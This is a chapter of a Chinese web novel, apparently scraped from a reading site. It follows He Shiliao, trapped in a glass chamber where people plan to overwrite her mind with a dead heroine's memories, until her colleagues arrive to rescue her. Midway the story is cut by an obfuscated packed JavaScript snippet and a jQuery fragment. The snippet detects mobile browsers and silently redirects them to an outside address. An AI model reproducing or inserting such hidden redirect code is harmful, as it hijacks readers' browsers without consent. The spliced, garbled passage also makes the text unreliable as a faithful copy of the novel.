江尽欢?
那个所有人眼中天赋奇高的笑话?
为了一个怪谈舍弃作为人类的骄傲,最后还丢掉了性命。
她本该有一个光明的未来,成为所有人类的骄傲,但是她自甘堕落。
人类培养出来的典范和英雄,居然会动摇,还企图和怪谈和平共处。
哪怕最后一切都被知道那件事的人以一种体面的方式掩盖起来,却依旧是耻辱,洗刷不干净的耻辱。
一切耻辱的来源,就是江尽欢。
而且据说当年的封印大典上,有不少人的长辈命丧当场,所以......
眼前的潘帕斯·贺兰,怎么会用这样奇怪的眼神的看着自己?
乍一眼看过去的时候,何时了以为会看到那种仇恨的,恨不得杀之而后快的眼神。
但是,那眼神直勾勾看起来也很吓人,那种眼神很难描述,像是冰中燃烧的火,带着燃尽一切的疯狂。
“我不是江尽欢。”
“你认错人了。”
何时了只觉得自己此刻心脏因为紧张跳的很快,语气却意外的冷静。
本以为自己会因为恐惧而说不出一句话,现在却在这样的高压下还能保持冷静。
嗯,何时了。
你长大了。
出息了。
潘帕斯贺兰根本没有听何时了说什么,那一瞬间的疯狂像是错觉。
他又恢复了那副淡漠的,和网络上形容的一样的姿态——冬日的动土,寸草不生的荒原。
躯体早已经死去。
“精神却偏偏还活在世上......”
007在何时了脑海中幽幽的感慨一句,让本该沉默的气氛染上鲜活的色彩。
“喂,你这会出声很容易被发现吧......”
“早就被发现了,你以为南柯那个二五仔会帮我们保密?”007的语气里带着对于南柯的不屑。
何时了讪讪闭嘴,这次可真是送羊入虎口,可怜所长老头给自己画的饼都没吃到。
“玻璃门啊,玻璃窗啊,玻璃罩......隔着玻璃罩看外面......”
左右无事,又被一个冬日冰原带着呼啸的北风的潘帕斯·贺兰盯着。
何时了实在想不出来自己能干点什么,索性乱七八糟的开始唱歌。
在重复到第二遍的时候,安静的站在一边的潘帕斯·贺兰开了口:“闭嘴!”
何时了没忍住翻了个白眼,要不是嫌弃有个人在这里,自己才懒得唱歌呢,费力!
007没忍住在何时了脑海里笑了起来:“这么难听人家第二遍才请你闭嘴,很礼貌了。”
“但是他干巴巴的站在这里干什么?那眼神看的人毛骨悚然的。”何时了没好气的抱怨着。
“他在等。”
等什么?何时了心中有疑问,但是她很快就知道对方在等什么了。
熟悉的白大褂,熟悉的仪器,那些被掩盖掉的噩梦,在此刻倾巢而出。
何时了站在原地勉力维持着表面的平静,克制住身体想要颤抖的欲望,却听到自己牙齿叩击的声音。
如何把人变作一段回忆的容器?
只要长此以往的灌输属于另一个的故事,以她的成长经历为标准,像尺子一样规划另一个人的一生。
每一个行为,每一句话,每一个动作,甚至于看到一朵花、一片云、一滴雨所产生的那一刻的想法。
听起来十分荒谬,却有人愿意付出金钱、财力去做这样一件荒谬的事情。
而且不止一个人,是很多人,很多很多个人……
虽然他们共同憎恨着江尽欢,可是他们又不得不承认,他们需要那样一个世不二出的天才。
而且自打江尽欢死后,这么些年来,各大家族以及各方势力倾尽所有,付出所有的家族资源以及财力,也没有再培养出来那样一个人。
可是当年的封印却已经快要破开了。
现在如果是当年年轻的他们,也许还愿意倾尽一切,哪怕付出生命也要和怪谈【美梦】一战。
可是这么些年优越的生活早已磨平了屠龙少年的棱角,家族、亲人、财富、以及那些紧紧被握在手里的权利。
所以……他们需要一个新的容器,一个可以代替江尽欢站出来的“英雄”。
最重要的是……那个英雄……却是用他们最仇恨的江尽欢的基因,制造出来的。
如果想要一个完美的实验结果,就需要控制实验中的每一项变量。
只有将每一项变量的风险降到最低,将偏差控制在微乎其微,那才有可能重新塑造一个“英雄”。
对于行为能力的培养其实不是最可怕的,最可怕的是所有人,将另一个人的故事毫无偏差的整理成资料,让你逐字逐句的学习并背诵。
看到的一切都是有标准的。
所做的一切都是为了抹杀自己。
从睁眼开始,呼吸的每一秒钟,都是在抹杀自己。
直到成为另一个人……
一个你连见都没有见过的人……
…………
何时了安静地看着玻璃外忙忙碌碌的人群,手指一点点扣向掌心,这个玻璃罩子限制了何时了所有的异能。
罩子里的她,和她自己编造的谎言一样,是个普通人,没有异能的普通人。
“007,还有什么办法可以帮我逃出去吗?”
007从刚才开始,嘴里就一直默念着数字,神神叨叨的像是跳大神的神婆。
“再等一下……再等一下……马上……”
那些人已经整理好了仪器,只差把仪器上的线连通这个玻璃的罩子,等那磁场覆盖过来的时候,何时了就会被清洗成一个全新的人。
会被再度灌入属于江尽欢的记忆,一点点的成为“江尽欢”2.0。
其实还有一个办法,不是吗?
007还在自顾自的计时,何时了的右手按住自己的心脏位置,低垂下眼帘,心里没忍住礼貌地问候了南柯他全家以及祖宗。
如果还有机会出去的话……
“好了好了!!!”
白大褂手里的那根线离插线孔只有几毫米的距离,房间的大门突然被利器一下劈开。
伴随着纷飞的木头渣子和粉尘,一个手持镰刀的人背着光站在那里。
“随意抓人且进行人体实验,潘帕斯元帅,您这是?知法犯法?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15848544|165699||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那人明明用的尊称,语气里却没有几分尊敬的意思。
“唉,他们这群人,每次只会用什么法规呀,法律呀,来约束我们这些平头小老百姓,真到他们自己身上,什么鸡鸣狗盗的事情不做啊。”
这熟悉带着嘲讽的语气……
“而且最重要的是,居然敢无缘无故,抓我们最最可爱的!脾气最好的了了!太过分了!我们虽然穷了点,房子破了点,工资低了点……”
郝棉愤愤掰着手指一条一条的细数着,一边的某人没忍住打了个趔趄。
“我也没这么抠门儿吧……这可说的太过分了。”
灯光下所长老头的头顶锃光瓦亮,看得何时了又好笑,眼眶又没忍住有些泛红。
“了了别怕!正义是站在我们这边的!”
郝棉摆出战斗的姿态,这时何时了才彻底看清楚。
除了所长老头何灿他们,还有那些平时只是在单位点头笑笑的同事,还有从没有见过的同事。
除却同归于尽,其实还是有另一条路可以走……
“所以说我就劝你等等啊,年轻人性子太急可不是什么好事情。”
007老神在在的抽出一把扇子,明明没有风,还是装模作样的扇了几下,一副自己胸有成竹的样子。
“你知道?你知道为什么不告诉我?”
何时了攥紧的拳头松了下来,表情不善。
“啊哈哈哈哈哈哈哈哈哈哈!”
007干笑着躲开何时了的眼神,躲到【食婀之女】的身后。
“我其实打算……如果我发出去的求救信息没有人回应的话,我是准备带着【食婀之女】它们几个出去拼了的……”
“所以说你也不确定援兵能不能来?”
何时了咬牙切齿的看着007:“所以你也不确定?你要是不确定,我当时就不会束手就擒!”
“而且,你说你要帮我消除所有,会影响未来的是什么事情?”
“这个嘛……你一会就会知道的……”
007眼神飘忽,话却说的十分的有气无力,甚至可以说是心虚。
“如果那件事成真,你大概会恨我吧……”
007小声嘟囔着,明明声音不大,何时了却意外听到了那几个一听就很不祥的词。
“你为什么要这么说?”
007却不再回答,彻底躲了起来。
从南柯意外举报开始,一切都看起来十分十分的不合理,它们要干什么?
何时了就像是被生硬的拽到,一条不属于自己的命运轨迹上,被人推着前行,却看不到未来的方向。
“哎呦,可太费事了,了了!快出来!”
郝棉的脸上还带着伤,笑嘻嘻的伸出手,何时了不疑有他的把手伸了过去。
就在郝棉即将要拉住何时了的时候,何灿挡在何时了和郝棉的中间,郝棉拉住了何灿的手。
磁场一瞬间波动,不祥的预感在此刻达到最高峰,见面之后,何时了甚至还没还没来得及和何灿说上一句话。
何灿的身影瞬间消失在何时了的面前,同样消失的还有那个顶着郝棉面孔的“人”。
最后的记忆,只有“郝棉”诡异的笑容。